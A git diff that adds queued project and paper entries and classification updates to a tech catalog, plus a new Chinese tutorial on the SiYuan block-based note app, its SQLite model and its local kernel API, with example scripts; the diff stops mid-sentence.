+{"slug":"deer-flow","area":"projects","topic":"data-science-ai","title":"DeerFlow","url":"https://github.com/bytedance/deer-flow","status":"queued","meta":{"col3":"71051","col4":"字节开源 super agent harness,LangGraph 底座 + 子 agent/沙箱/技能开箱即用"}} +{"slug":"ollama","area":"projects","topic":"data-science-ai","title":"Ollama","url":"https://github.com/ollama/ollama","status":"queued","meta":{"col3":"173369","col4":"本地 LLM 一键拉取运行,GGUF + Metal/CUDA,开发者本地推理入口"}} +{"slug":"dify","area":"projects","topic":"data-science-ai","title":"Dify","url":"https://github.com/langgenius/dify","status":"queued","meta":{"col3":"142915","col4":"开源 LLM 应用开发平台,workflow/RAG/agent/观测一体,从原型到生产"}} +{"slug":"open-webui","area":"projects","topic":"data-science-ai","title":"Open WebUI","url":"https://github.com/open-webui/open-webui","status":"queued","meta":{"col3":"80000","col4":"自托管 ChatGPT 界面,默认对接 Ollama,RAG/多模型/插件生态最活跃"}} +{"slug":"litellm","area":"projects","topic":"data-science-ai","title":"LiteLLM","url":"https://github.com/BerriAI/litellm","status":"queued","meta":{"col3":"20000","col4":"100+ LLM 提供商统一 OpenAI 兼容 API,路由/计费/限流网关"}} +{"slug":"mem0","area":"projects","topic":"data-science-ai","title":"Mem0","url":"https://github.com/mem0ai/mem0","status":"queued","meta":{"col3":"51900","col4":"AI agent 长期记忆层,向量+图混合,Open WebUI 等栈常用记忆后端"}} +{"slug":"openclaw","area":"projects","topic":"data-science-ai","title":"OpenClaw","url":"https://github.com/openclaw/openclaw","status":"queued","meta":{"col3":"378399","col4":"本地常驻 personal AI assistant,多通道消息网关,2026 GitHub star 增速纪录"}} +{"slug":"superplane","area":"projects","topic":"devops","title":"SuperPlane","url":"https://github.com/superplanehq/superplane","status":"queued","meta":{"col3":"2871","col4":"平台工程控制面,事件驱动 workflow 串联 Git/CI/观测/事故响应"}} +{"slug":"gea","area":"projects","topic":"frontend-web","title":"Gea","url":"https://github.com/dashersw/gea","status":"queued","meta":{"col3":"1088","col4":"编译器原生响应式 UI 框架,hello-world 仅 121B brotli,极致轻量"}} +{"slug":"tanstack-start","area":"projects","topic":"frontend-web","title":"TanStack Start","url":"https://github.com/TanStack/router","status":"queued","meta":{"col3":"12000","col4":"类型安全全栈 React 框架,TanStack Router 驱动,Next.js 轻量替代"}} +{"slug":"dexter","area":"projects","topic":"data-science-ai","title":"Dexter","url":"https://github.com/virattt/dexter","status":"queued","meta":{"col3":"23739","col4":"TypeScript/Bun 自主金融研究 agent,plan-execute-validate 闭环"}} +{"slug":"context-mode","area":"projects","topic":"data-science-ai","title":"context-mode","url":"https://github.com/mksglu/context-mode","status":"queued","meta":{"col3":"13011","col4":"MCP server 优化 coding agent 上下文:沙箱+会话追踪+代码分析"}} +{"slug":"agency-agents","area":"projects","topic":"data-science-ai","title":"Agency Agents","url":"https://github.com/msitarzewski/agency-agents","status":"queued","meta":{"col3":"93599","col4":"可复用 AI agent 人格/角色库,多工作流专用 agent 模板集合"}} +{"slug":"awesome-ai-apps","area":"projects","topic":"data-science-ai","title":"awesome-ai-apps","url":"https://github.com/Arindam200/awesome-ai-apps","status":"queued","meta":{"col3":"11260","col4":"80+ LLM 应用示例与教程合集,快速上手 agent/RAG 实战"}} +{"slug":"openai-agents-python","area":"projects","topic":"data-science-ai","title":"OpenAI Agents Python","url":"https://github.com/openai/openai-agents-python","status":"queued","meta":{"col3":"26290","col4":"OpenAI 官方 agent SDK,handoff/guardrail/tracing 生产级抽象"}} +{"slug":"livekit-agents","area":"projects","topic":"data-science-ai","title":"LiveKit Agents","url":"https://github.com/livekit/agents","status":"queued","meta":{"col3":"10472","col4":"实时语音 AI agent 框架,STT/LLM/TTS pipeline + WebRTC 一体"}} +{"slug":"nuclei","area":"projects","topic":"security-privacy","title":"Nuclei","url":"https://github.com/projectdiscovery/nuclei","status":"queued","meta":{"col3":"25000","col4":"YAML 模板驱动漏洞扫描,ProjectDiscovery 生态核心,CI/红队标配"}} +{"slug":"falco","area":"projects","topic":"security-privacy","title":"Falco","url":"https://github.com/falcosecurity/falco","status":"queued","meta":{"col3":"7500","col4":"CNCF 运行时威胁检测,eBPF/syscall 规则引擎,K8s 安全观测事实标准"}} +{"slug":"crowdsec","area":"projects","topic":"security-privacy","title":"CrowdSec","url":"https://github.com/crowdsecurity/crowdsec","status":"queued","meta":{"col3":"11000","col4":"协作式 IPS,社区威胁情报 + 本地决策引擎,Fail2ban 现代替代"}} +{"slug":"wazuh","area":"projects","topic":"security-privacy","title":"Wazuh","url":"https://github.com/wazuh/wazuh","status":"queued","meta":{"col3":"12000","col4":"开源 XDR/SIEM,日志/完整性/漏洞/合规一体,Elastic 栈常见搭档"}} +{"slug":"rusternetes","area":"projects","topic":"devops","title":"Rusternetes","url":"https://github.com/calfonso/rusternetes","status":"queued","meta":{"col3":"425","col4":"Rust 从零重写 K8s,etcd 可换 SQLite/Redis,单进程 all-in-one 集群"}} +{"slug":"model-native-computing","area":"papers","topic":"systems","title":"Model-Native Computing Architecture","url":"https://arxiv.org/abs/2606.00288","status":"queued","meta":{"col3":"2026","col4":"用计算机体系结构类比 envision LLM 时代双平面系统:概率执行 + 确定性控制"}} +{"slug":"minimax-sparse-attention","area":"papers","topic":"ml-systems","title":"MiniMax Sparse Attention","url":"https://arxiv.org/abs/2606.13392","status":"queued","meta":{"col3":"2026","col4":"稀疏 softmax attention 突破二次瓶颈,1M 上下文 prefill 14.2× 加速"}} +{"slug":"memdreamer","area":"papers","topic":"agents","title":"MemDreamer: Decoupling Perception and Reasoning for Long Video","url":"https://arxiv.org/abs/2606.07512","status":"queued","meta":{"col3":"2026","col4":"分层图记忆 + agentic 检索,长视频理解上下文仅 2% 全量 ingestion"}} +{"slug":"glm-5-agentic-engineering","area":"papers","topic":"llm","title":"GLM-5: From Vibe Coding to Agentic Engineering","url":"https://arxiv.org/abs/2602.15763","status":"queued","meta":{"col3":"2026","col4":"智谱 GLM-5 技术报告,从 vibe coding 迈向 agentic 工程化能力"}} +{"slug":"gated-deltanet-2","area":"papers","topic":"ml-systems","title":"Gated DeltaNet-2: Decoupling Erase and Write in Linear Attention","url":"https://arxiv.org/abs/2605.22791","status":"queued","meta":{"col3":"2026","col4":"线性 attention 解耦 erase/write,hybrid 架构长上下文效率新方案"}} +{"slug":"nemotron-3-super","area":"papers","topic":"llm","title":"Nemotron 3 Super: MoE Hybrid Mamba-Transformer for Agentic Reasoning","url":"https://arxiv.org/abs/2604.12374","status":"queued","meta":{"col3":"2026","col4":"NVIDIA 开源 MoE+Mamba-Transformer 混合,面向 agentic 推理"}} +{"slug":"step-3-5-flash","area":"papers","topic":"llm","title":"Step 3.5 Flash: Open Frontier-Level Intelligence with 11B Active Parameters","url":"https://arxiv.org/abs/2602.10604","status":"queued","meta":{"col3":"2026","col4":"阶跃 Step 3.5 Flash,11B 激活参数达到 frontier 级开源智能"}} +{"slug":"zaya1-8b","area":"papers","topic":"llm","title":"ZAYA1-8B Technical Report","url":"https://arxiv.org/abs/2605.05365","status":"queued","meta":{"col3":"2026","col4":"ZAYA1-8B 小模型技术报告,高效 dense 架构 benchmark 对标"}} +{"slug":"minimax-m2-series","area":"papers","topic":"llm","title":"The MiniMax-M2 Series: Mini Activations Unleashing Max Intelligence","url":"https://arxiv.org/abs/2605.26494","status":"queued","meta":{"col3":"2026","col4":"MiniMax M2 系列:小激活 MoE 释放强推理与 agent 能力"}} +{"slug":"spike-sparse-sink-anatomy","area":"papers","topic":"ml-systems","title":"The Spike, the Sparse and the Sink: Anatomy of Massive Activations","url":"https://arxiv.org/abs/2603.05498","status":"queued","meta":{"col3":"2026","col4":"解剖 massive activation 与 attention sink,解释长上下文与 streaming 现象"}} diff --git a/data/classification-unresolved.json b/data/classification-unresolved.json index 647d1ee1f..1ff81b148 100644 --- a/data/classification-unresolved.json +++ b/data/classification-unresolved.json @@ -1,5 +1,5 @@ { - "generated": "2026-06-13T04:27:13.146Z", + "generated": "2026-06-13T04:34:00.674Z", "count": 0, "items": [] } \ No newline at end of file diff --git a/data/classification.jsonl b/data/classification.jsonl index e48919e0b..147955d3d 100644 --- a/data/classification.jsonl +++ b/data/classification.jsonl @@ -179,7 +179,7 @@ {"slug":"deno","area":"projects","theme":"编译器","themeId":"compilers","subcategory":"语言运行时","source":"candidates.topic","confidence":"high","rawCategory":"编译器"} {"slug":"dgraph","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"dhtmlx-gantt","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} -{"slug":"dify","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"AI","source":"category","confidence":"high","rawCategory":"机器学习"} +{"slug":"dify","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"discord-js","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"discord-py","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"dive","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} @@ -320,6 +320,7 @@ {"slug":"hnswlib","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"hocuspocus","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"holoviews","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} +{"slug":"home-assistant","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"homebrew","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"hono","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 框架","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"hot-chocolate","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} @@ -547,11 +548,12 @@ {"slug":"ofetch","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"前端工程化","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"ogre","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"oh-my-posh","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} -{"slug":"ollama","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"category","confidence":"high","rawCategory":"机器学习"} +{"slug":"ollama","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"open-sora","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"openai-agents-sdk","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"AI 工程","source":"category","confidence":"high","rawCategory":"机器学习"} {"slug":"opencode","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"opencv","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} +{"slug":"openhab","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"openlayers","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"openmeetings","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"openrct2","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} @@ -721,6 +723,7 @@ {"slug":"silverbullet","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"simple-peer","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"sinatra","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} +{"slug":"siyuan","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"skaffold","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"sled","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"slim-framework","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} @@ -805,6 +808,7 @@ {"slug":"torchtune","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"traefik","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"transformers-video","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} +{"slug":"trilium","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"triton-inference-server","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"trl","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"trpc","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"类型与 PL 理论","source":"category","confidence":"high","rawCategory":"后端 API"} @@ -830,7 +834,7 @@ {"slug":"vector","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"vega","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"velero","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} -{"slug":"vercel-ai","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"AI","source":"category","confidence":"high","rawCategory":"机器学习"} +{"slug":"vercel-ai","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"frontend-web","source":"candidates.topic+category","confidence":"high","rawCategory":"机器学习"} {"slug":"vertx","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"vespa","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"victoriametrics","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} diff --git a/src/content/docs/projects/siyuan.md b/src/content/docs/projects/siyuan.md new file mode 100644 index 000000000..56f2f212c --- /dev/null +++ b/src/content/docs/projects/siyuan.md @@ -0,0 +1,411 @@ +--- +title: SiYuan — 国产块结构笔记 +来源: https://github.com/siyuan-note/siyuan +日期: 2026-06-13 +分类: CLI +子分类: 编辑器与 IDE +provenance: pipeline-v3 +--- + +## 日常类比:把笔记本拆成「带编号的小卡片」,还能用 SQL 搜整间书房 + +想象你在整理一间 **私人图书馆**,但不是按文件夹 `2024/项目/会议.md` 归档,而是: + +- 每一 **段落、标题、列表项、代码块** 都是一张独立 **卡片(块)**,卡片角上有全球唯一编号; +- 卡片可以 **嵌套**(标题下挂段落,列表下挂子项),也可以 **互相引用**——你在 A 卡片写「见卡片 #xyz」,B 卡片会自动列出「谁引用了我」; +- 整间书房的索引不是 Excel,而是一本 **SQLite 电话簿**:你可以问「所有标题里含缓存、且带 #review 标签的块在哪?」 + +**思源笔记(SiYuan)** 就是这样一套 **本地优先的块结构笔记系统**([siyuan-note/siyuan](https://github.com/siyuan-note/siyuan)):Go 语言内核 + Electron 桌面端,数据落在工作空间的 **SQLite** 与 `.sy` 文档文件中;支持 **双链块引用**、大纲编辑、模板、插件、**内核 HTTP API**,并可 Docker **自托管** 同步。中文排版、社区与文档对国内用户友好,常被称作「国产 Notion + Obsidian 块模型」的折中路线。 + +零基础路径:**安装桌面版 → 读用户指南笔记本 → 理解块与 `/` 菜单 → 试块引用与 SQL 面板 → 了解内核 API 与备份**。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:Word 式长文档难重组,改结构等于重写 + +思源把 **块(Block)** 作为最小单元:拖移块、折叠标题、超级块横向排版,都是在改「卡片顺序」而非剪切整篇 `.docx`。每个块有稳定 **ID**(形如 `20210912214605-uhi5gco`),引用 `((块ID))` 后,正文更新引用处仍指向同一块。 + +### 痛点 2:文件夹笔记「只能单路径归档」,跨主题复用难 + +与 Logseq、Notion 类似,思源支持 **块级双链** 与 **嵌入块**:同一结论可在「项目 A」「复习提纲」两处被引用或嵌入,而不复制正文。文档树提供 **人类可读路径(hpath)**,块 ID 提供 **精确锚点**。 + +### 痛点 3:纯 Markdown 文件夹性能与查询能力有限 + +思源在运行时维护 **SQLite 数据库**(`blocks`、`attributes`、`refs` 等表),UI 编辑实时落库;同时 `.sy` 文件保存在笔记本目录。高级用户可用 **SQL 查询面板** 或 `/api/query/sql` 做结构化检索——比全文搜索文件夹更可控。 + +### 痛点 4:想要本地数据主权 + 可选多端同步 + +默认 **数据在本地工作空间**(可整目录备份、Git 忽略二进制资源后部分版本化)。官方提供 **云端同步订阅**,也可 **Docker 自托管** 实现端到端加密同步,适合重视隐私、又需要 iOS/Android 客户端的用户。 + +### 痛点 5:国产场景下的中文与社区 + +界面、用户指南、论坛与插件市场以中文为主;内核 API 文档有 [API_zh_CN.md](https://github.com/siyuan-note/siyuan/blob/master/API_zh_CN.md),社区文档在 [docs.siyuan-note.club](https://docs.siyuan-note.club)。 + +--- + +## 核心概念拆解 + +### 1. 工作空间(Workspace) + +一次思源实例对应一个 **工作空间目录**,内含 `conf`、`data`(笔记本与资源)、`temp` 等。换电脑时 **拷贝整个工作空间** 或用官方同步迁移。入门时记住:**备份 = 备份工作空间**,不是单个 `.md` 导出文件。 + +### 2. 笔记本(Notebook)与文档(Document) + +| 概念 | 说明 | +|------|------| +| **笔记本** | 顶层分区,类似「书柜」;可打开/关闭、排序、设图标 | +| **文档** | 类型为 `d` 的 **文档块**,树形目录中的一页笔记 | +| **hpath** | 人类可读路径,如 `/0 请从这里开始/编辑器/排版元素` | +| **path** | 存储路径,如 `/20200812220555-lj3enxa/.../xxx.sy` | + +每日笔记路径可在笔记本配置里用 **Sprig 模板** 生成,例如 `/daily note/{{now | date "2006/01"}}/{{now | date "2006-01-02"}}`。 + +### 3. 块(Block)——唯一重要的核心概念 + +官方用户指南强调:**在思源中,唯一重要的核心概念是内容块。** + +- 每个块有 **ID**、**type**(主类型)、**subtype**(子类型)、**content** / **markdown** 字段; +- 块通过 `parent_id` 形成树;**文档块** 的 `root_id` 指向自身; +- 常见 type:`p` 段落、`h` 标题、`l` 列表、`c` 代码、`t` 表格、`s` 超级块、`d` 文档、`query_embed` 嵌入块等。 + +块 ID 格式:`14位时间戳-7位随机串`,例如 `20210104091228-d0rzbmm`。 + +### 4. Block(内核)vs Node(前端) + +| 层 | 名称 | 含义 | +|----|------|------| +| **后端** | Block | SQLite `blocks` 表中的一行 | +| **前端** | Node | Protyle 编辑器 DOM 中的 `data-node-id` 元素 | + +开发插件时:改内容走 **内核 API**;读 DOM 用 **Node** 属性(`data-type`、`data-subtype`)。 + +### 5. Protyle 编辑器 + +**Protyle** 是「一整页文档的编辑对象」,包含: + +- **title**:文档标题区; +- **wysiwyg**:所见即所得编辑区(由多个 Node 组成); +- **gutter**:块图标菜单(引用、复制、折叠等)。 + +输入 **`/`** 可唤起 **Slash 菜单** 插入标题、列表、公式、模板、嵌入等块类型。 + +### 6. 引用、嵌入与属性 + +| 机制 | 写法 / 操作 | 作用 | +|------|-------------|------| +| **块引用** | `((20200813131152-0wk5akh "锚文本"))` | 指向具体块,支持动态锚文本 | +| **文档引用** | `[[文档标题]]` | 链接到其他文档 | +| **嵌入块** | 引用面板拖入或命令 | 他处内容嵌入当前文档 | +| **块属性** | 命名、别名、备注、标签、自定义 `custom-*` | 检索、模板、导出 | +| **属性表(av)** | 数据库视图块 | 表格化看板,类似 Notion Database | + +自定义属性通过 API 设置时必须 **`custom-` 前缀**。 + +### 7. Kramdown 与 Markdown + +思源内部使用 **Kramdown** 方言(扩展 Markdown),例如行内样式可写: + +`foo**bar**{: style="color: var(--b3-font-color8);"}baz` + +导出、部分 API 也提供 GFM Markdown;**直接改 `.sy` 文件不如走 API 或 UI 安全**。 + +### 8. 两套 API + +| API | 调用方 | 典型用途 | +|-----|--------|----------| +| **内核 API** | HTTP POST 到 `127.0.0.1:6806`(需 API Token) | 自动化、脚本、外部工具读写块 | +| **插件 API** | 插件内 `require('siyuan')` / `fetchPost` | 扩展 UI、菜单、Dock、对话框 | + +返回值统一为 `{ "code": 0, "msg": "", "data": ... }`,`code !== 0` 表示异常。 + +### 9. 同步、发布与 SQL 安全 + +- **同步**:官方云或自建 Docker;工作空间可在多设备间一致。 +- **发布**:可导出静态站点;**发布模式下禁止 SQL API**,防止数据泄露。 +- **社区插件**:集市安装;开发见 [插件 Quick Start](https://siyuan-note.apifox.cn/6977345m0)。 + +### 10. SiYuan 不是什么 + +它不是 Git 原生 `.md` 仓库(虽然可导出 Markdown);**运行时真相源是 SQLite + .sy**。也不是 Excel——属性表适合轻量结构化,复杂 BI 仍应导出到专用工具。入门优先掌握 **块、引用、笔记本、备份**,再碰 API 与 SQL。 + +--- + +## 安装与第一次打开 + +### 桌面端(推荐) + +1. 打开 [GitHub Releases](https://github.com/siyuan-note/siyuan/releases) 或 [b3log.org/siyuan](https://b3log.org/siyuan/) 下载 macOS / Windows / Linux 安装包。 +2. 首次启动选择或创建工作空间目录(建议放在已有 Time Machine / 云盘备份的位置)。 +3. 打开内置 **「思源笔记用户指南」** 笔记本,阅读「内容块」「排版元素」章节。 +4. 新建文档,输入 `/` 试插入 **一级标题**、**待办列表**、**代码块**。 +5. 选中一段文字,用 **块引** 创建定义块,在另一处用 `((块ID))` 引用(UI 可自动生成 ID)。 + +### 可选:Docker 自托管 + +适合需要私有同步服务器的高级用户;镜像与 compose 示例见官方仓库 `Dockerfile` 与文档。零基础可先只用桌面本地模式。 + +### API Token + +设置 → 关于 → **API token**,供脚本访问内核 HTTP API(默认端口 **6806**)。 + +--- + +## 代码示例 1:Python 调用内核 API 创建文档并插入块 + +以下脚本假设思源已运行且已取得 API Token(勿提交到 Git): + +```python +#!/usr/bin/env python3 +"""通过思源内核 API 创建 Markdown 文档并在文末追加段落块。""" +import json +import urllib.request + +API = "http://127.0.0.1:6806" +TOKEN = "your-api-token-here" # 设置 → 关于 → API token + +def post(route: str, payload: dict) -> dict: + req = urllib.request.Request( + f"{API}{route}", + data=json.dumps(payload).encode(), + headers={ + "Content-Type": "application/json", + "Authorization": f"Token {TOKEN}", + }, + method="POST", + ) + with urllib.request.urlopen(req) as resp: + body = json.loads(resp.read()) + if body.get("code") != 0: + raise RuntimeError(body.get("msg") or body) + return body["data"] + +# 1) 列出笔记本,取第一个未关闭的 ID +notebooks = post("/api/notebook/lsNotebooks", {})["notebooks"] +notebook_id = next(nb["id"] for nb in notebooks if not nb["closed"]) + +# 2) 用 Markdown 创建文档(path 为 hpath,以 / 开头) +doc_id = post("/api/filetree/createDocWithMd", { + "notebook": notebook_id, + "path": "/inbox/siyuan-api-demo", + "markdown": "# API 演示\n\n由脚本创建于 2026-06-13。\n", +}) + +# 3) 在文档块末尾追加子块(appendBlock = 插入后置子块) +post("/api/block/appendBlock", { + "dataType": "markdown", + "data": "第二段:**内核 API** 写入的段落块。", + "parentID": doc_id, +}) + +print("created doc id:", doc_id) +``` + +**阅读要点:** + +- `createDocWithMd` 的 `path` 若已存在 **不会覆盖**,适合幂等导入前先查重; +- `appendBlock` 需要 **父块 ID**(文档块 ID 即可); +- 插入 sibling 块用 `insertBlock`,并指定 `previousID` / `nextID` / `parentID` 之一锚定位置。 + +等价的 **curl** 片段(创建后插入块): + +```bash +curl -s -X POST "http://127.0.0.1:6806/api/block/insertBlock" \ + -H "Authorization: Token $SIYUAN_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{ + "dataType": "markdown", + "data": "插入在 previousID 之后的块", + "previousID": "20211229114650-vrek5x6", + "nextID": "", + "parentID": "" + }' +``` + +--- + +## 代码示例 2:SQL 查询块 + 设置自定义属性 + +思源 SQL 面板或 `/api/query/sql` 直接查询 `blocks` 表(发布模式禁用)。 + +### 常用 SQL + +```sql +-- 最近更新的 10 个段落块 +SELECT id, content, updated, hpath +FROM blocks +WHERE type = 'p' +ORDER BY updated DESC +LIMIT 10; + +-- 标题中含「缓存」的块 +SELECT id, markdown, hpath, tag +FROM blocks +WHERE type = 'h' AND content LIKE '%缓存%'; + +-- 某文档下的所有一级标题 +SELECT id, content, subtype +FROM blocks +WHERE root_id = '20210817205410-2kvfpfn' AND type = 'h' AND subtype = 'h1'; +``` + +### Python 执行查询并给结果块打标签 + +```python +import json +import urllib.request + +API, TOKEN = "http://127.0.0.1:6806", "your-api-token-here" + +def post(route, payload): + req = urllib.request.Request( + f"{API}{route}", + data=json.dumps(payload).encode(), + headers={"Authorization": f"Token {TOKEN}", "Content-Type": "application/json"}, + method="POST", + ) + return json.loads(urllib.request.urlopen(req).read()) + +rows = post("/api/query/sql", { + "stmt": "SELECT id, content FROM blocks WHERE tag LIKE '%待整理%' LIMIT 20", +})["data"] + +for row in rows: + post("/api/attr/setBlockAttrs", { + "id": row["id"], + "attrs": {"custom-review-status": "queued"}, + }) + +print(f"tagged {len(rows)} blocks") +``` + +**阅读要点:** + +- `content` 为去 Markdown 标记的纯文本;完整语法看 `markdown` 列; +- `tag` 字段含 `#标签#` 形式;文档块标签存在文档块上; +- 自定义属性键必须 **`custom-` 前缀**,否则 API 可能拒绝或无法展示。 + +--- + +## 代码示例 3:插件内调用内核 API(TypeScript 片段) + +插件开发时在 `require('siyuan')` 后使用 `fetchPost`,无需手写 Token: + +```typescript +import { fetchPost, openTab } from "siyuan"; + +// 获取内核时间并在对话框展示 +fetchPost("/api/system/currentTime", {}, (response) => { + if (response.code !== 0) return; + const when = new Date(response.data).toLocaleString("zh-CN"); + console.log("思源内核时间:", when); +}); + +// 打开指定 ID 的文档页签 +openTab({ + app: this.app, // 插件实例的 app + doc: { id: "20210917220056-yxtyl7i" }, +}); +``` + +块在 DOM 中大致形态(开发者工具可见): + +```html +
+
一级标题
+
+``` + +**阅读要点:** `data-node-id` 即块 ID;插件可监听块菜单事件扩展「右键操作」,详见社区插件文档。 + +--- + +## Kramdown 笔记片段(编辑器内写法示意) + +下面是在思源中直接输入/粘贴的 **块内容** 示意(非独立 `.md` 文件): + +```markdown +# 间隔重复 vs 块结构笔记 + +段落块可以包含 **加粗** 与行内代码 `SQL`。 + +* 无序列表项 A + * 子项:双链 ((20200813131152-0wk5akh "在内容块中遨游")) +* 待办 {: checked="false"} + [ ] 整理 [[思源笔记用户指南]] 的引用章节 + +```sql +SELECT id, content FROM blocks WHERE type = 'h' LIMIT 5; +``` +``` + +列表、待办、代码块在 UI 中由 `/` 菜单创建更稳妥;块引用 `((id "文本"))` 可在引用自动补全里生成。 + +--- + +## 推荐工作流(零基础 7 天) + +| 天 | 动作 | 目标 | +|----|------|------| +| 1 | 读用户指南「内容块」 | 理解块 ID、拖移、折叠 | +| 2 | 每日笔记 + `/` 菜单 | 熟悉标题、列表、代码 | +| 3 | 块引 + 反向链接面板 | 体验双链 | +| 4 | 给块加标签、别名 | 检索与过滤 | +| 5 | SQL 面板跑 `SELECT` | 理解 blocks 表 | +| 6 | 导出 Markdown 备份一篇 | 互操作 | +| 7 | 复制工作空间到备份盘 | 建立备份习惯 | + +--- + +## 与相近工具对比(简表) + +| 维度 | SiYuan 思源 | Logseq | Obsidian | +|------|-------------|--------|----------| +| 核心单元 | 块 | 块 | 文件为主,插件可块化 | +| 运行时存储 | SQLite + .sy | md/org 文件 或 DB 版 | .md 文件夹 | +| 大纲编辑 | 原生 Protyle | 原生 | 需插件 | +| 内置 SQL | ✅ blocks 表 | 高级 query | Dataview 插件 | +| 中文社区 | 强 | 中 | 中 | +| 开源 | ✅ AGPL | ✅ | 闭源免费 | + +若你从 **Logseq** 迁移:思维上都是块与双链;思源更强调 **数据库 + API**,纯文本 Git 友好度低于 Logseq 文件 graph。若从 **Notion** 